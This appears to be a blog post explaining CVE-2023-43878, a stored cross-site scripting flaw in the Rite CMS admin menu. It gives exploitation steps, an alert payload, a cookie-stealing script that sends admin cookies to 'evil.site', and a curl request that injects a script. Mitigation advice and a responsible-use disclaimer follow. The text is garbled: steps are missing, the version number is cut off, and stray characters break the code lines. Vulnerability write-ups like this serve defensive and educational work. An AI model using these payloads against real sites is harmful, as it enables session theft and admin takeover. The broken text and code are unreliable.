CVE-2023-43878 is a security vulnerability discovered in Rite CMS version 3.. This vulnerability allows attackers to inject and execute arbitrary JavaScript code due to improper input sanitization in the Administration Menu’s “Main Menu Items”. In plain terms: an attacker can trick the system into saving malicious code, which runs every time an administrator opens the affected menu. This post explains what the bug is, demonstrates exactly how it works with code examples, and shares how attackers might abuse it — all in simple, easy language.

[References & More Reading](#references)

What is Rite CMS?

Rite CMS is a free, open-source content management system for building and managing websites. Like WordPress or Joomla, it has an Administration Interface where site managers add menus, manage content, and customize the website.


Details of the CVE-2023-43878 Vulnerability

Vulnerability Type: Cross-Site Scripting (Stored XSS)

Impact: Allows attackers to inject JavaScript code into the administrative interface, leading to session theft, site defacement, or privilege escalation.

Affected Area: Main Menu Items – Admin Menu

How: Rite CMS fails to clean or filter the “title” or “link” fields when adding or editing Main Menu Items in the admin panel. This lets attackers embed JavaScript code as menu text or links.

CVE Entry:
https://nvd.nist.gov/vuln/detail/CVE-2023-43878


3. Chooses to add a new menu item or edit an existing one.

### 4. In the menu’s “Title” or “Link” field, enters a JavaScript payload instead of regular text.
### 5. Confirms/submits the change.
### 6. Any administrator who now visits the Main Menu Items page *executes the attacker’s code automatically* in their browser.


A basic JavaScript XSS payload that pops an alert box

<script>alert('XSS by CVE-2023-43878!');</script>

Where to place it:
Simply paste this code in the “Title” or “Link” field while adding or editing a menu item.

More dangerous payload

<script>
  // Steal admin cookies to attacker's server
  fetch('https://evil.site/steal?cookie='; + document.cookie);
</script>

Example POST Request (using curl)

curl -X POST 'https://victim-cms.com/admin/menu/add'; \
  -d "title=<script>alert('Hacked!')</script>" \
  -d "link=/home"

Defacement: Attacker can rewrite page content by injecting malicious JavaScript or HTML.

- Privilege Escalation: Malicious scripts can create new administrator accounts or change settings.

Phishing: Attackers can inject fake forms or overlays, tricking admins or users.

Remember: Since this is a *stored XSS*, every admin visiting the menu will be affected until the entry is cleaned or the vulnerability patched.


Mitigation and Patching

- Update Rite CMS: Check Rite CMS official site or their GitHub repository for patches.

Content Security Policy (CSP): Set up CSP headers to block inline scripts.

References & Further Reading

- NVD CVE-2023-43878 Entry
- CVE Details: CVE-2023-43878
- OWASP XSS (Cross Site Scripting) Guide
- Rite CMS Official Website

In Summary

CVE-2023-43878 in Rite CMS 3. is a dangerous XSS bug that can let attackers run arbitrary code in the admin’s browser, causing major site security issues. If you use Rite CMS, patch immediately and always validate/sanitize input in all admin fields!

*Stay Safe, Patch Early!*

Note:
This article is for educational and defense purposes. Testing on systems you don’t own is illegal. Always disclose to vendors responsibly and help build a safer web.

Timeline

Published on: 09/28/2023 15:15:12 UTC
Last modified on: 09/29/2023 18:07:05 UTC